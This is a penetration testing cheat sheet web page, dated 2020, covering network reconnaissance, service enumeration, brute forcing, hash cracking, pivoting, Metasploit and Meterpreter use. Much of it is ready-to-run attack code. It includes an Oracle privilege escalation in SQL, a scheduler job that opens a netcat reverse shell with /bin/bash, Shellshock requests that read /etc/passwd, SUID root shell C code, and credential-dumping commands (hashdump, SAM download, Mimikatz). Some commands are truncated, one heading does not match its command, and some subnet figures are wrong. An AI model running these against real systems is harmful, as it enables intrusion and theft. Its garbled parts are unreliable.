



# Penetration Testing Tools Cheat Sheet ∞

CHEAT-SHEET

16 Mar 2020



## Introduction

**Penetration testing tools cheat sheet**, a quick reference high level overview for typical penetration testing engagements. Designed as a quick reference cheat sheet providing a high level overview of the **typical** commands a third-party pen test company would run when performing a manual infrastructure penetration test. For more in depth information I'd recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on the right.

The focus of this cheat sheet is infrastructure / network penetration testing, web application penetration testing is not covered here apart from a few sqlmap commands at the end and some web server enumeration. For Web Application Penetration Testing, check out the Web Application Hackers Hand Book, it is excellent for both learning and reference.

If I'm missing any pen testing tools here give me a nudge on twitter.

## Changelog

16/09/2020 - fixed some formatting issues (more coming soon I promise).

17/02/2017 - Article updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the TOC below.

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## Pre-engagement

### Network Configuration

#### Set IP Address

```
ifconfig eth0 xxx.xxx.xxx.xxx/24
```

#### Subnetting

```
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
```

## OSINT

### Passive Information Gathering

#### DNS

#### *WHOIS enumeration*

```
whois domain-name-here.com
```

### **Perform DNS IP Lookup**

```
dig a domain-name-here.com @nameserver
```

### **Perform MX Record Lookup**

```
dig mx domain-name-here.com @nameserver
```

### **Perform Zone Transfer with DIG**

```
dig axfr domain-name-here.com @nameserver
```

## **DNS Zone Transfers**

COMMAND	DESCRIPTION
<code>nslookup -&gt; set type=any -&gt; ls -d blah.com</code>	Windows DNS zone transfer
<code>dig axfr blah.com @ns1.blah.com</code>	Linux DNS zone transfer

## **Email**

### **Simply Email**

Use Simply Email to enumerate all the online places (github, target site etc), it works better if you use proxies or set long throttle times so google doesn't think you're a robot and make you fill out a Captcha.

```
git clone https://github.com/killswitch-GUI/SimplyEmail.git  
./SimplyEmail.py -all -e TARGET-DOMAIN
```

Simply Email can verify the discovered email addresss after gathering.

## **Semi Active Information Gathering**

### **Basic Finger Printing**

Manual finger printing / banner grabbing.

COMMAND	DESCRIPTION
<code>nc -v 192.168.1.1 25 telnet 192.168.1.1 25</code>	Basic versioning / finger printing via displayed banner

### **Banner grabbing with NC**

```
nc TARGET-IP 80  
GET / HTTP/1.1  
Host: TARGET-IP  
User-Agent: Mozilla/5.0
```

```
Referrer: meh-domain
```

```
<enter>
```

## Active Information Gathering

### DNS Bruteforce

#### DNSRecon

```
DNS Enumeration Kali - DNSRecon
```

```
root:~#  
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml  
output.xml
```

### Port Scanning

#### Nmap Commands

For more commands, see the Nmap cheat sheet (link in the menu on the right).

Basic Nmap Commands:

COMMAND	DESCRIPTION
<code>nmap -v -sS -A -T4 target</code>	Nmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
<code>nmap -v -sS -p--A -T4 target</code>	As above but scans all TCP ports (takes a lot longer)
<code>nmap -v -sU -sS -p- -A -T4 target</code>	As above but scans all TCP ports and UDP scan (takes even longer)
<code>nmap -v -p 445 --script=smb-check-vulns --script-args=unsafe=1 192.168.1.X</code>	Nmap script to scan for vulnerable SMB servers - WARNING: unsafe=1 may cause knockover
<code>ls /usr/share/nmap/scripts/*   grep ftp</code>	Search nmap scripts for keywords

I've had a few people mention about T4 scans, apply common sense here. Don't use T4 commands on external pen tests (when using an Internet connection), you're probably better off using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen test, over low latency links with plenty of bandwidth. But it all depends on the target devices, embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can start pen testing then kick off a slower scan.

#### Nmap UDP Scanning

```
nmap -sU TARGET
```

#### UDP Protocol Scanner

```
git clone https://github.com/portcullislabs/udp-proto-scanner.git
```

Scan a file of IP addresses for all services:

```
./udp-protocol-scanner.pl -f ip.txt
```

Scan for a specific UDP service:

```
udp-proto-scanner.pl -p ntp -f ips.txt
```

### **Other Host Discovery**

Other methods of host discovery, that don't use nmap...

COMMAND	DESCRIPTION
<code>netdiscover -r 192.168.1.0/24</code>	Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you're on the right VLAN at \$client site

## **Enumeration & Attacking Network Services**

Penetration testing tools that specifically identify and / or enumerate network services:

### **SAMB / SMB / Windows Domain Enumeration**

#### **Samba Enumeration**

#### **SMB Enumeration Tools**

```
nmblookup -A target  
smbclient //MOUNT/share -I target -N  
rpcclient -U "" target  
enum4linux target
```

Also see, nbtscan cheat sheet (right hand menu).

COMMAND	DESCRIPTION
<code>nbtscan 192.168.1.0/24</code>	Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
<code>enum4linux -a target-ip</code>	Do Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

#### **Fingerprint SMB Version**

```
smbclient -L //192.168.1.100
```

## *Find open SMB Shares*

```
nmap -T4 -v -oA shares --script smb-enum-shares --script-args smbuser=user,pass=pass
```

## *Enumerate SMB Users*

```
nmap -sU -sS --script=smb-enum-users -p U:137,T:139 192.168.11.200-254
```

```
python /usr/share/doc/python-impacket-doc/examples  
/samrdump.py 192.168.XXX.XXX
```

RID Cycling:

```
ridenum.py 192.168.XXX.XXX 500 50000 dict.txt
```

Metasploit module for RID cycling:

```
use auxiliary/scanner/smb/smb_lookupsid
```

## *Manual Null session testing:*

Windows:

```
net use \\TARGET\IPC$ "" /u:""
```

Linux:

```
smbclient -L //192.168.99.131
```

## *NBTScan unixwiz*

Install on Kali rolling:

```
apt-get install nbtscan-unixwiz  
nbtscan-unixwiz -f 192.168.0.1-254 > nbtscan
```

## **LLMNR / NBT-NS Spoofing**

Steal credentials off the network.

*Metasploit LLMNR / NetBIOS requests*

Spooф / poison LLMNR / NetBIOS requests:

```
auxiliary/spoof/llmnr/llmnr_response  
auxiliary/spoof/nbns/nbns_response
```

Capture the hashes:

```
auxiliary/server/capture/smb  
auxiliary/server/capture/http_ntlm
```

You'll end up with NTLMv2 hash, use john or hashcat to crack it.

### Responder.py

Alternatively you can use responder.

```
git clone https://github.com/SpiderLabs/Responder.git  
python Responder.py -i local-ip -I eth0
```

#### ★ Run Responder.py for the whole engagement

Run Responder.py for the length of the engagement while you're working on other attack vectors.

## SNMP Enumeration Tools

A number of SNMP enumeration tools.

Fix SNMP output values so they are human readable:

```
apt-get install snmp-mibs-downloader download-mibs  
echo "" > /etc/snmp/snmp.conf
```

COMMAND	DESCRIPTION
<code>snmpcheck -t 192.168.1.X -c public snmpwalk -c public -v1 192.168.1.X 1  grep hrSWRunName cut -d* * -f snmpenum -t 192.168.1.X onesixtyone -c names -i hosts</code>	SNMP enumeration

## SNMPv3 Enumeration Tools

Identify SNMPv3 servers with nmap:

```
nmap -sV -p 161 --script=snmp-info TARGET-SUBNET
```

Rory McCune's snmpwalk wrapper script helps automate the username

enumeration process for SNMPv3:

```
apt-get install snmp snmp-mibs-downloader  
wget https://raw.githubusercontent.com/raesene/TestingScripts/master/snmpv3enum.py
```

### ★ Use Metasploits Wordlist

Metasploit's wordlist (KALI path below) has common credentials for v1 & 2 of SNMP, for newer credentials check out Daniel Miessler's SecLists project on GitHub (not the mailing list!).

```
/usr/share/metasploit-framework/data/wordlists/snmp_default_pass.txt
```

## R Services Enumeration

This is legacy, included for completeness.

nmap -A will perform all the rservices enumeration listed below, this section has been added for completeness or manual confirmation:

### RSH Enumeration

#### *RSH Run Commands*

```
rsh <target> <command>
```

#### *Metasploit RSH Login Scanner*

```
auxiliary/scanner/rservices/rsh_login
```

#### *rusers Show Logged in Users*

```
rusers -al 192.168.2.1
```

#### *rusers scan whole Subnet*

```
rlogin -l <user> <target>
```

e.g rlogin -l root TARGET-SUBNET/24

## Finger Enumeration

```
finger @TARGET-IP
```

## Finger a Specific Username

```
finger batman@TARGET-IP
```

## Solaris bug that shows all logged in users:

```
finger @host

SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN

finger 'a b c d e f g h'@sunhost
```

## rwho

Use nmap to identify machines running rwhod (513 UDP)

## TLS & SSL Testing

### testssl.sh

Test all the things on a single host and output to a .html file:

```
./testssl.sh -e -E -f -p -y -Y -S -P -c -H -U TARGET-HOST | aha > OUTPUT-FILE
```

## Vulnerability Assessment

Install OpenVAS 8 on Kali Rolling:

```
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
```

Verify openvas is running using:

```
netstat -tulpn
```

Login at https://127.0.0.1:9392 - credentials are generated during openvas-setup.

## Database Penetration Testing

Attacking database servers exposed on the network.

## Oracle

Install oscanner:

```
apt-get install oscanner
```

Run oscanner:

```
oscanner -s 192.168.1.200 -P 1521
```

### Fingerprint Oracle TNS Version

Install tnscmd10g:

```
apt-get install tnscmd10g
```

Fingerprint oracle tns:

```
tnscmd10g version -h TARGET  
nmap --script=oracle-tns-version
```

### Brute force oracle user accounts

Identify default Oracle accounts:

```
nmap --script=oracle-sid-brute  
nmap --script=oracle-brute
```

Run nmap scripts against Oracle TNS:

```
nmap -p 1521 -A TARGET
```

### Oracle Privilege Escalation

Requirements:

- Oracle needs to be exposed on the network
- A default account is in use like scott

Quick overview of how this works:

1. Create the function
2. Create an index on table SYS.DUAL
3. The index we just created executes our function SCOTT.DBA\_X
4. The function will be executed by SYS user (as that's the user that owns the table)

the table).

## 5. Create an account with DBA priveleges

In the example below the user SCOTT is used but this should be possible with another default Oracle account.

### ***Identify default accounts within oracle db using NMAP NSE scripts:***

```
nmap --script=oracle-sid-brute  
nmap --script=oracle-brute
```

Login using the identified weak account (assuming you find one).

### ***How to identify the current privilege level for an oracle user:***

```
SQL> select * from session_privs;  
  
SQL> CREATE OR REPLACE FUNCTION GETDBA(FOO varchar) return varchar deterministic  
curren_user is  
pragma autonomous_transaction;  
begin  
execute immediate 'grant dba to user1 identified by pass1';  
commit;  
return 'FOO';  
end;
```

### ***Oracle priv esc and obtain DBA access:***

Run netcat: `netcat -nvlp 443` code>

```
SQL> create index exploit_1337 on SYS.DUAL(SCOTT.GETDBA('BAR'));
```

### ***Run the exploit with a select query:***

```
SQL> Select * from session_privs;
```

You should have a DBA user with creds user1 and pass1.

Verify you have DBA privileges by re-running the first command again.

### ***Remove the exploit using:***

```
drop index exploit_1337;
```

### ***Get Oracle Reverse os-shell:***

```
begin  
dbms_scheduler.create_job( job_name      => 'MEH1337',job_type      =>
```

```
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments => 4,start_date => SYSTIMESTAMP,enabled      => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4, '/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
```

## MSSQL

Enumeration / Discovery:

Nmap:

```
nmap -sU --script=ms-sql-info 192.168.1.108 192.168.1.156
```

Metasploit:

```
msf > use auxiliary/scanner/mssql/mssql_ping
```

### ★ Use MS SQL Servers Browse For More

Try using "Browse for More" via MS SQL Server Management Studio

## Bruteforce MSSQL Login

```
msf > use auxiliary/admin/mssql/mssql_enum
```

## Metasploit MSSQL Shell

```
msf > use exploit/windows/mssql/mssql_payload
msf exploit(mssql_payload) > set PAYLOAD windows/meterpreter/reverse_tcp
```

## Network

### Plink.exe Tunnel

PutTY Link tunnel

Forward remote port to local address:

```
plink.exe -P 22 -l root -pw "1337" -R 445:127.0.0.1:445 REMOTE-IP
```

## Pivoting

## SSH Pivoting

```
ssh -D 127.0.0.1:1010 -p 22 user@pivot-target-ip
```

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

SSH pivoting from one network to another:

```
ssh -D 127.0.0.1:1010 -p 22 user1@ip-address-1
```

Add socks4 127.0.0.1 1010 in /etc/proxychains.conf

```
proxychains ssh -D 127.0.0.1:1011 -p 22 user1@ip-address-2
```

Add socks4 127.0.0.1 1011 in /etc/proxychains.conf

## Meterpreter Pivoting

### TTL Finger Printing

OPERATING SYSTEM	TTL SIZE
Windows	128
Linux	64
Solaris	255
Cisco / Network	255

## IPv4 Cheat Sheets

### Classful IP Ranges

E.g Class A,B,C (deprecated)

CLASS	IP ADDRESS RANGE
Class A IP Address Range	0.0.0.0 - 127.255.255.255
Class B IP Address Range	128.0.0.0 - 191.255.255.255
Class C IP Address Range	192.0.0.0 - 223.255.255.255
Class D IP Address Range	224.0.0.0 - 239.255.255.255
Class E IP Address Range	240.0.0.0 - 255.255.255.255

### IPv4 Private Address Ranges

CLASS	RANGE
Class A Private Address Range	10.0.0.0 - 10.255.255.255
Class B Private Address Range	172.16.0.0 - 172.31.255.255
Class C Private Address Range	192.168.0.0 - 192.168.255.255

## IPv4 Subnet Cheat Sheet

Subnet cheat sheet, not really related to pen testing but a useful reference.

CIDR	DECIMAL MASK	NUMBER OF HOSTS
/31	255.255.255.254	1 Host
/30	255.255.255.252	2 Hosts
/29	255.255.255.249	6 Hosts
/28	255.255.255.248	14 Hosts
/27	255.255.255.224	30 Hosts
/26	255.255.255.192	62 Hosts
/25	255.255.255.128	126 Hosts
/24	255.255.255.0	254 Hosts
/23	255.255.254.0	512 Host
/22	255.255.252.0	1022 Hosts
/21	255.255.248.0	2046 Hosts
/20	255.255.240.0	4094 Hosts
/19	255.255.224.0	8190 Hosts
/18	255.255.192.0	16382 Hosts
/17	255.255.128.0	32766 Hosts
/16	255.255.0.0	65534 Hosts
/15	255.254.0.0	131070 Hosts
/14	255.252.0.0	262142 Hosts
/13	255.248.0.0	524286 Hosts
/12	255.240.0.0	1048674 Hosts
/11	255.224.0.0	2097150 Hosts
/10	255.192.0.0	4194302 Hosts
/9	255.128.0.0	8388606 Hosts
/8	255.0.0.0	16777214 Hosts

## VLAN Hopping

Using NCCGroups VLAN wrapper script for Yersina simplifies the process.

```
git clone https://github.com/nccgroup/vlan-hopping.git
chmod 700 frogger.sh
./frogger.sh
```

## VPN Pentesting Tools

Identify VPN servers:

```
./udp-protocol-scanner.pl -p ike TARGET(s)
```

Scan a range for VPN servers:

```
./udp-protocol-scanner.pl -p ike -f ip.txt
```

## IKEForce

Use IKEForce to enumerate or dictionary attack VPN servers.

Install:

```
pip install pyip  
git clone https://github.com/SpiderLabs/ikeforce.git
```

Perform IKE VPN enumeration with IKEForce:

```
./ikeforce.py TARGET-IP -e -w wordlists/groupnames.dic
```

Bruteforce IKE VPN using IKEForce:

```
./ikeforce.py TARGET-IP -b -i groupid -u dan -k psk123 -w passwords.txt -s
```

```
ike-scan  
ike-scan TARGET-IP  
ike-scan -A TARGET-IP  
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
```

## IKE Aggressive Mode PSK Cracking

1. Identify VPN Servers
2. Enumerate with IKEForce to obtain the group ID
3. Use ike-scan to capture the PSK hash from the IKE endpoint
4. Use psk-crack to crack the hash

### Step 1: Identify IKE Servers

```
./udp-protocol-scanner.pl -p ike SUBNET/24
```

### **Step 2: Enumerate group name with IKEForce**

```
./ikeforce.py TARGET-IP -e -w wordlists/groupnames.dic
```

### **Step 3: Use ike-scan to capture the PSK hash**

```
ike-scan -M -A -n example_group -P hash-file.txt TARGET-IP
```

### **Step 4: Use psk-crack to crack the PSK hash**

```
psk-crack hash-file.txt
```

Some more advanced psk-crack options below:

```
pskcrack  
psk-crack -b 5 TARGET-IPkey  
psk-crack -b 5 --charset="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"  
psk-crack -d /path/to/dictionary-file TARGET-IP-key
```

## **PPTP Hacking**

Identifying PPTP, it listens on TCP: 1723

### **NMAP PPTP Fingerprint:**

```
nmap -Pn -sV -p 1723 TARGET(S)
```

### **PPTP Dictionary Attack**

```
thc-pptp-bruter -u hansolo -W -w /usr/share/wordlists/nmap.lst
```

## **DNS Tunneling**

Tunneling data over DNS to bypass firewalls.

dnscat2 supports “download” and “upload” commands for getting files (data and programs) to and from the target machine.

## **Attacking Machine**

Installation:

```
apt-get update  
apt-get -y install ruby-dev git make g++  
gem install bundler
```

```
git clone https://github.com/iagox86/dnscat2.git  
cd dnscat2/server  
bundle install
```

Run dnscat2:

```
ruby ./dnscat2.rb  
dnscat2> New session established: 1422  
dnscat2> session -i 1422
```

Target Machine:

<https://downloads.skullsecurity.org/dnscat2/>  
<https://github.com/lukebaggett/dnscat2-powershell/>

```
dnscat --host <dnscat server_ip>
```

## BOF / Exploit

### Exploit Research

Find exploits for enumerated hosts / services.

COMMAND	DESCRIPTION
<code>searchsploit windows 2003   grep -i local</code>	Search exploit-db for exploit, in this example windows 2003 + local esc
<code>site:exploit-db.com exploit kernel &lt;= 3</code>	Use google to search exploit-db.com for exploits
<code>grep -R "W7" /usr/share/metasploit-framework/modules/exploit/windows/*</code>	Search metasploit modules using grep -msf search sucks a bit

### Searching for Exploits

Install local copy of exploit-db:

```
searchsploit -u  
searchsploit apache 2.2  
searchsploit "Linux Kernel"  
searchsploit linux 2.6 | grep -i ubuntu | grep local
```

### Compiling Windows Exploits on Kali

```
wget -O mingw-get-setup.exe http://sourceforge.net/projects/mingw/files/  
wine mingw-get-setup.exe  
select mingw32-base  
cd /root/.wine/drive_c/windows  
wget http://gojhonny.com/misc/mingw_bin.zip && unzip mingw_bin.zip
```

```
cd /root/.wine/drive_c/MinGW/bin  
wine gcc -o ability.exe /tmp/exploit.c -lwsock32  
wine ability.exe
```

## Cross Compiling Exploits

```
gcc -m32 -o output32 hello.c (32 bit)  
gcc -m64 -o output hello.c (64 bit)
```

## Exploiting Common Vulnerabilities

### Exploiting Shellshock

A tool to find and exploit servers vulnerable to Shellshock:

```
git clone https://github.com/nccgroup/shocker
```

```
./shocker.py -H TARGET --command "/bin/cat /etc/passwd" -c /cgi-bin/status
```

*cat file (view file contents)*

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; echo \$(</>`
```

*Shell Shock run bind shell*

```
echo -e "HEAD /cgi-bin/status HTTP/1.1\r\nUser-Agent: () { :;}; /usr/bin/ne
```

*Shell Shock reverse Shell*

```
nc -l -p 443
```

## Simple Local Web Servers

Python local web server command, handy for serving up shells and exploits on an attacking machine.

COMMAND	DESCRIPTION
<code>python -m SimpleHTTPServer 80</code>	Run a basic http server, great for serving up shells etc
<code>python3 -m http.server</code>	Run a basic Python3 http server, great for serving up shells etc

```
ruby -rwebrick -e "WEBrick::HTTPServer.new  
(:Port => 80, :DocumentRoot => Dir.pwd).start"
```

Run a ruby webrick basic http server

```
php -S 0.0.0.0:80
```

Run a basic PHP http server

## Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.

COMMAND	DESCRIPTION
<code>mount 192.168.1.1:/vol/share /mnt/nfs</code>	Mount NFS share to <code>/mnt/nfs</code>
<code>mount -t cifs -o username=user,password=pass ,domain=blah //192.168.1.X/share-name /mnt/cifs</code>	Mount Windows CIFS / SMB share on Linux at <code>/mnt/cifs</code> if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
<code>net use Z: \\win-server\share password /user:domain\janedoe /savcred /p:no</code>	Mount a Windows share on Windows from the command line
<code>apt-get install smb4k -y</code>	Install smb4k on Kali, useful Linux GUI for browsing SMB shares

## HTTP / HTTPS Webserver Enumeration

COMMAND	DESCRIPTION
<code>nikto -h 192.168.1.1</code>	Perform a nikto scan against target
<code>dirbuster</code>	Configure via GUI, CLI input doesn't work most of the time

## Packet Inspection

COMMAND	DESCRIPTION
<code>tcpdump tcp port 80 -w output.pcap -i eth0</code>	tcpdump for port 80 on interface eth0, outputs to output.pcap

## Username Enumeration

Some techniques used to remotely enumerate users on a target system.

### SMB User Enumeration

COMMAND	DESCRIPTION
<code>python /usr/share/doc/python-impacket-doc/examples /samrdump.py 192.168.XXX.XXX</code>	Enumerate users from SMB
<code>ridenum.py 192.168.XXX.XXX 500 50000 dict.txt</code>	RID cycle SMB / enumerate users from SMB

### SNMP User Enumeration

COMMAND	DESCRIPTION
<code>snmpwalk public -v1 192.168.X.XXX 1  grep 77.1.2.25</code>	Enumerate users from

<code> cut -d" " -f4</code>	SNMP
<code>python /usr/share/doc/python-impacket-doc/examples/samrdump.py SNMP 192.168.X.XXX</code>	Enumerate users from SNMP
<code>nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt (then grep)</code>	Search for SNMP servers with nmap, grepable output

## Passwords

### Wordlists

COMMAND	DESCRIPTION
<code>/usr/share/wordlists</code>	Kali word lists

## Brute Forcing Services

### Hydra FTP Brute Force

COMMAND	DESCRIPTION
<code>hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX ftp -V</code>	Hydra FTP brute force

### Hydra POP3 Brute Force

COMMAND	DESCRIPTION
<code>hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f 192.168.X.XXX pop3 -V</code>	Hydra POP3 brute force

### Hydra SMTP Brute Force

COMMAND	DESCRIPTION
<code>hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -V</code>	Hydra SMTP brute force

Use `-t` to limit concurrent connections, example: `-t 15`

## Password Cracking

Password cracking penetration testing tools.

### John The Ripper - JTR

COMMAND	DESCRIPTION
<code>john --wordlist=/usr/share/wordlists/rockyou.txt hashes</code>	JTR password cracking
<code>john --format=descrypt --wordlist /usr/share/wordlists/rockyou.txt hash.txt</code>	JTR forced decrypt cracking with wordlist
<code>john --format=descrypt hash --show</code>	JTR forced decrypt brute force cracking

# Windows Penetration Testing Commands

See [Windows Penetration Testing Commands](#).

# Linux Penetration Testing Commands

See Linux Commands Cheat Sheet (right hand menu) for a list of Linux Penetration testing commands, useful for local system enumeration.

## Compiling Exploits

Some notes on compiling exploits.

### Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.

COMMAND	DESCRIPTION
process.h, string.h, winbase.h, windows.h, winsock2.h	Windows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h, sys/socket.h, sys/types.h, unistd.h	Linux exploit code

### Build Exploit GCC

Compile exploit gcc.

COMMAND	DESCRIPTION
gcc -o exploit exploit.c	Basic GCC compile

### GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.

COMMAND	DESCRIPTION
gcc -m32 exploit.c -o exploit	Cross compile 32 bit binary on 64 bit Linux

### Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.

COMMAND	DESCRIPTION
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exe	Compile windows .exe on Linux

## SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and paste examples for various shells:

### SUID C Shell for /bin/bash

```
int main(void){  
    setresuid(0, 0, 0);  
    system("/bin/bash");  
}
```

## SUID C Shell for /bin/sh

```
int main(void){  
    setresuid(0, 0, 0);  
    system("/bin/sh");  
}
```

## Building the SUID Shell binary

```
gcc -o suid suid.c
```

For 32 bit:

```
gcc -m32 -o suid suid.c
```

## Reverse Shells

See [Reverse Shell Cheat Sheet](#) for a list of useful Reverse Shells.

## TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like `su` from reverse shells.

### Python TTY Shell Trick

```
python -c 'import pty;pty.spawn("/bin/bash")'  
  
echo os.system('/bin/bash')
```

### Spawn Interactive sh shell

```
/bin/sh -i
```

### Spawn Perl TTY Shell

```
exec "/bin/sh";  
perl -e 'exec "/bin/sh";'
```

### Spawn Ruby TTY Shell

```
exec "/bin/sh"
```

### Spawn Lua TTY Shell

```
os.execute('/bin/sh')
```

## Spawn TTY Shell from Vi

Run shell commands from vi:

```
:!bash
```

## Spawn TTY Shell NMAP

```
!sh
```

## Metasploit Cheat Sheet

A basic metasploit cheat sheet that I have found handy for reference.

Basic Metasploit commands, useful for reference, for pivoting see -  
Meterpreter Pivoting techniques.

### Meterpreter Payloads

#### Windows reverse meterpreter payload

COMMAND	DESCRIPTION
<code>set payload windows/meterpreter/reverse_tcp</code>	Windows reverse tcp payload

#### Windows VNC Meterpreter payload

COMMAND	DESCRIPTION
<code>set payload windows/vncinject/reverse_tcp</code>	Meterpreter Windows VNC Payload
<code>set ViewOnly false</code>	

#### Linux Reverse Meterpreter payload

COMMAND	DESCRIPTION
<code>set payload linux/meterpreter/reverse_tcp</code>	Meterpreter Linux Reverse Payload

## Meterpreter Cheat Sheet

Useful meterpreter commands.

COMMAND	DESCRIPTION
<code>upload file c:\\windows</code>	Meterpreter upload file to Windows target
<code>download c:\\windows\\repair\\sam /tmp</code>	Meterpreter download file from Windows target
<code>download c:\\windows\\repair\\sam /tmp</code>	Meterpreter download file from Windows target
<code>execute -f c:\\windows\\temp\\exploit.exe</code>	Meterpreter run .exe on target - handy for executing uploaded exploits
<code>execute -f cmd -c</code>	Creates new channel with cmd shell
<code>ps</code>	Meterpreter show processes
<code>shell</code>	Meterpreter get shell on the target

<code>getsystem</code>	Meterpreter attempts privilege escalation the target
<code>hashdump</code>	Meterpreter attempts to dump the hashes on the target
<code>portfwd add -l 3389 -p 3389 -r target</code>	Meterpreter create port forward to target machine
<code>portfwd delete -l 3389 -p 3389 -r target</code>	Meterpreter delete port forward

## Common Metasploit Modules

Top metasploit modules.

### Remote Windows Metasploit Modules (exploits)

COMMAND	DESCRIPTION
<code>use exploit/windows/smb/ms08_067_netapi</code>	MS08_067 Windows 2k, XP, 2003 Remote Exploit
<code>use exploit/windows/dcerpc/ms06_040_netapi</code>	MS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
<code>use exploit/windows/smb/ms09_050_smb2_negotiate_func_index</code>	MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

### Local Windows Metasploit Modules (exploits)

COMMAND	DESCRIPTION
<code>use exploit/windows/local/bypassuac</code>	Bypass UAC on Windows 7 + Set target + arch, x86/64

### Auxiliary Metasploit Modules

COMMAND	DESCRIPTION
<code>use auxiliary/scanner/http/dir_scanner</code>	Metasploit HTTP directory scanner
<code>use auxiliary/scanner/http/jboss_vulnscan</code>	Metasploit JBOSS vulnerability scanner
<code>use auxiliary/scanner/mssql/mssql_login</code>	Metasploit MSSQL Credential Scanner
<code>use auxiliary/scanner/mysql/mysql_version</code>	Metasploit MSSQL Version Scanner
<code>use auxiliary/scanner/oracle/oracle_login</code>	Metasploit Oracle Login Module

### Metasploit Powershell Modules

COMMAND	DESCRIPTION
<code>use exploit/multi/script/web_delivery</code>	Metasploit powershell payload delivery module
<code>post/windows/manage/powershell/exec_powershell</code>	Metasploit upload and run powershell script through a session
<code>use exploit/multi/http/jboss_mainDeployer</code>	Metasploit JBOSS deploy
<code>use exploit/windows/mssql/mssql_payload</code>	Metasploit MSSQL payload

### Post Exploit Windows Metasploit Modules

## Post Exploit Windows Metasploit Modules

Windows Metasploit Modules for privilege escalation.

COMMAND	DESCRIPTION
<code>run post/windows/gather/win_privs</code>	Metasploit show privileges of current user
<code>use post/windows/gather/credentials/gpp</code>	Metasploit grab GPP saved passwords
<code>load mimikatz -&gt; wdigest</code>	Metasploit load Mimikatz
<code>run post/windows/gather/local_admin_search_enum</code>	Identify other machines that the supplied domain user has administrative access to
<code>run post/windows/gather/smart_hashdump</code>	Automated dumping of sam file, tries to esc privileges etc

## ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.

ASCII	CHARACTER
<code>x00</code>	Null Byte
<code>x08</code>	BS
<code>x09</code>	TAB
<code>x0a</code>	LF
<code>x0d</code>	CR
<code>x1b</code>	ESC
<code>x20</code>	SPC
<code>x21</code>	!
<code>x22</code>	"
<code>x23</code>	#
<code>x24</code>	\$
<code>x25</code>	%
<code>x26</code>	&
<code>x27</code>	'
<code>x28</code>	(
<code>x29</code>	)
<code>x2a</code>	*
<code>x2b</code>	+
<code>x2c</code>	,
<code>x2d</code>	-
<code>x2e</code>	.

x2f	/
x30	0
x31	1
x32	2
x33	3
x34	4
x35	5
x36	6
x37	7
x38	8
x39	9
x3a	:
x3b	:
x3c	<
x3d	=
x3e	>
x3f	?
x40	@
x41	A
x42	B
x43	C
x44	D
x45	E
x46	F
x47	G
x48	H
x49	I
x4a	J
x4b	K
x4c	L
x4d	M
x4e	N
x4f	O
x50	P
x51	Q

x52	R
x53	S
x54	T
x55	U
x56	V
x57	W
x58	X
x59	Y
x5a	Z
x5b	[
x5c	\
x5d	]
x5e	^
x5f	-
x60	,
x61	a
x62	b
x63	c
x64	d
x65	e
x66	f
x67	g
x68	h
x69	i
x6a	j
x6b	k
x6c	l
x6d	m
x6e	n
x6f	o
x70	p
x71	q
x72	r
x73	s
x74	t

x75	U
x76	V
x77	W
x78	X
x79	Y
x7a	Z

## CISCO IOS Commands

A collection of useful Cisco IOS commands.

COMMAND	DESCRIPTION
<code>enable</code>	Enters enable mode
<code>conf t</code>	Short for, configure terminal
<code>(config)# interface fa0/0</code>	Configure FastEthernet 0/0
<code>(config-if)# ip addr 0.0.0.0 255.255.255.255</code>	Add ip to fa0/0
<code>(config-if)# ip addr 0.0.0.0 255.255.255.255</code>	Add ip to fa0/0
<code>(config-if)# line vty 0 4</code>	Configure vty line
<code>(config-line)# login</code>	Cisco set telnet password
<code>(config-line)# password YOUR-PASSWORD</code>	Set telnet password
<code># show running-config</code>	Show running config loaded in memory
<code># show startup-config</code>	Show startup config
<code># show version</code>	Show Cisco IOS version
<code># show session</code>	Display open sessions
<code># show ip interface</code>	Show network interfaces
<code># show interface e0</code>	Show detailed interface info
<code># show ip route</code>	Show routes
<code># show access-lists</code>	Show access lists
<code># dir file systems</code>	Show available files
<code># dir all-filesystems</code>	File information
<code># dir /all</code>	Show deleted files
